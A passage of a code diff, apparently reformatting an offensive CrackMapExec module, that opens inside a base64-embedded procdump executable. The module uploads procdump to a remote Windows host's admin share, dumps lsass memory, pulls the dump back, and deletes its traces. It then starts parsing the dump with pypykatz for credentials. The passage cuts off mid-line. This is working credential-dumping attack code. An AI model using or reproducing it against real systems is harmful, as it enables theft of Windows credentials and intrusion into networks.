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" + ) self.procdump = "procdump.exe" self.procdump_path = "/tmp/" self.dir_result = self.procdump_path self.useembeded = True - if 'PROCDUMP_PATH' in module_options: - self.procdump_path = module_options['PROCDUMP_PATH'] + if "PROCDUMP_PATH" in module_options: + self.procdump_path = module_options["PROCDUMP_PATH"] self.useembeded = False - if 'PROCDUMP_EXE_NAME' in module_options: - self.procdump = module_options['PROCDUMP_EXE_NAME'] + if "PROCDUMP_EXE_NAME" in module_options: + self.procdump = module_options["PROCDUMP_EXE_NAME"] self.useembeded = False - if 'TMP_DIR' in module_options: - self.tmp_dir = module_options['TMP_DIR'] + if "TMP_DIR" in module_options: + self.tmp_dir = module_options["TMP_DIR"] - if 'DIR_RESULT' in module_options: - self.dir_result = module_options['DIR_RESULT'] + if "DIR_RESULT" in module_options: + self.dir_result = module_options["DIR_RESULT"] def on_admin_login(self, context, connection): - if self.useembeded == True: - with open(self.procdump_path + self.procdump, 'wb') as procdump: + with open(self.procdump_path + self.procdump, "wb") as procdump: procdump.write(self.procdump_embeded) - - context.log.display('Copy {} to {}'.format(self.procdump_path + self.procdump, self.tmp_dir)) - with open(self.procdump_path + self.procdump, 'rb') as procdump: + + context.log.display( + "Copy {} to {}".format(self.procdump_path + self.procdump, self.tmp_dir) + ) + with open(self.procdump_path + self.procdump, "rb") as procdump: try: - connection.conn.putFile(self.share, self.tmp_share + self.procdump, procdump.read) - context.log.success('Created file {} on the \\\\{}{}'.format(self.procdump, self.share, self.tmp_share)) + connection.conn.putFile( + self.share, self.tmp_share + self.procdump, procdump.read + ) + context.log.success( + "Created file {} on the \\\\{}{}".format( + self.procdump, self.share, self.tmp_share + ) + ) except Exception as e: - context.log.fail('Error writing file to share {}: {}'.format(share, e)) - + context.log.fail("Error writing file to share {}: {}".format(share, e)) + # get pid lsass command = 'tasklist /v /fo csv | findstr /i "lsass"' - context.log.display('Getting lsass PID {}'.format(command)) + context.log.display("Getting lsass PID {}".format(command)) p = connection.execute(command, True) - pid = p.split(',')[1][1:-1] - command = self.tmp_dir + self.procdump + ' -accepteula -ma ' + pid + ' ' + self.tmp_dir + '%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp' - context.log.display('Executing command {}'.format(command)) + pid = p.split(",")[1][1:-1] + command = ( + self.tmp_dir + + self.procdump + + " -accepteula -ma " + + pid + + " " + + self.tmp_dir + + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.dmp" + ) + context.log.display("Executing command {}".format(command)) p = connection.execute(command, True) context.log.debug(p) dump = False - if 'Dump 1 complete' in p: - context.log.success('Process lsass.exe was successfully dumped') + if "Dump 1 complete" in p: + context.log.success("Process lsass.exe was successfully dumped") dump = True else: - context.log.fail('Process lsass.exe error un dump, try with verbose') - + context.log.fail("Process lsass.exe error un dump, try with verbose") + if dump: regex = r"([A-Za-z0-9-]*.dmp)" matches = re.search(regex, str(p), re.MULTILINE) - machine_name = '' + machine_name = "" if matches: machine_name = matches.group() else: context.log.display("Error getting the lsass.dmp file name") sys.exit(1) - context.log.display('Copy {} to host'.format(machine_name)) + context.log.display("Copy {} to host".format(machine_name)) - with open(self.dir_result + machine_name, 'wb+') as dump_file: + with open(self.dir_result + machine_name, "wb+") as dump_file: try: - connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write) - context.log.success('Dumpfile of lsass.exe was transferred to {}'.format(self.dir_result + machine_name)) + connection.conn.getFile( + self.share, self.tmp_share + machine_name, dump_file.write + ) + context.log.success( + "Dumpfile of lsass.exe was transferred to {}".format( + self.dir_result + machine_name + ) + ) except Exception as e: - context.log.fail('Error while get file: {}'.format(e)) + context.log.fail("Error while get file: {}".format(e)) try: connection.conn.deleteFile(self.share, self.tmp_share + self.procdump) - context.log.success('Deleted procdump file on the {} share'.format(self.share)) + context.log.success( + "Deleted procdump file on the {} share".format(self.share) + ) except Exception as e: - context.log.fail('Error deleting procdump file on share {}: {}'.format(self.share, e)) - + context.log.fail( + "Error deleting procdump file on share {}: {}".format(self.share, e) + ) + try: connection.conn.deleteFile(self.share, self.tmp_share + machine_name) - context.log.success('Deleted lsass.dmp file on the {} share'.format(self.share)) + context.log.success( + "Deleted lsass.dmp file on the {} share".format(self.share) + ) except Exception as e: - context.log.fail('Error deleting lsass.dmp file on share {}: {}'.format(self.share, e)) - - with open(self.dir_result + machine_name, 'rb') as dump: + context.log.fail( + "Error deleting lsass.dmp file on share {}: {}".format( + self.share, e + ) + ) + + with open(self.dir_result + machine_name, "rb") as dump: try: credentials = [] credz_bh = [] @@ -118,27 +150,49 @@ class CMEModule: pypy_parse = pypykatz.parse_minidump_external(dump) except Exception as e: pypy_parse = None - context.log.fail(f'Error parsing 